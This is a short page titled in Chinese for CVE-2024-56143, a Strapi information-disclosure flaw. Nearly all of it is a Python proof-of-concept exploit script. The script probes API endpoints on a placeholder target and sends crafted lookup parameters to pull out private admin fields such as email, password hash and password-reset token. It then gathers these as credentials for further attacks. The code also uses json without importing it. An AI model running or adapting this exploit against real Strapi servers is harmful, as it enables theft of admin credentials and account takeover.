CVE-2024-56143：Strapi文档服务查询私有字段信息泄露漏洞

import requests # Target Strapi instance URL TARGET_URL = "http://target-strapi-instance.com" # Step 1: Discover API endpoints def discover_endpoints(base_url): # Common Strapi content types to probe content_types = ["articles", "users", "products", "categories"] endpoints = [] for ct in content_types: url = f"{base_url}/api/{ct}" try: resp = requests.get(url, timeout=5) if resp.status_code == 200: endpoints.append(ct) except requests.exceptions.RequestException: pass return endpoints # Step 2: Exploit lookup operator to access private fields def exploit_lookup(base_url, content_type): """ Craft a request using the lookup parameter to bypass field-level access control and extract private fields like admin passwords and reset tokens. """ # The vulnerable lookup parameter allows accessing private fields # of related entities (e.g., admin users associated with content) exploit_params = { "lookup[admin][fields][0]": "email", "lookup[admin][fields][1]": "password", "lookup[admin][fields][2]": "resetPasswordToken", "lookup[admin][populate]": "*" } url = f"{base_url}/api/{content_type}" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: resp = requests.get(url, params=exploit_params, headers=headers, timeout=10) if resp.status_code == 200: data = resp.json() print(f"[+] Successfully extracted data from {content_type}:") print(json.dumps(data, indent=2)) return data else: print(f"[-] Request failed with status: {resp.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Step 3: Use extracted credentials for further exploitation def extract_credentials(data): """Extract admin credentials from leaked data""" credentials = [] if data and "data" in data: for item in data["data"]: if "admin" in item: admin = item["admin"] credentials.append({ "email": admin.get("email"), "password_hash": admin.get("password"), "reset_token": admin.get("resetPasswordToken") }) return credentials if __name__ == "__main__": print("[*] CVE-2024-56143 - Strapi Private Field Disclosure PoC") print(f"[*] Target: {TARGET_URL}") endpoints = discover_endpoints(TARGET_URL) print(f"[*] Discovered endpoints: {endpoints}") for endpoint in endpoints: data = exploit_lookup(TARGET_URL, endpoint) if data: creds = extract_credentials(data) if creds: print(f"[+] Extracted credentials: {creds}")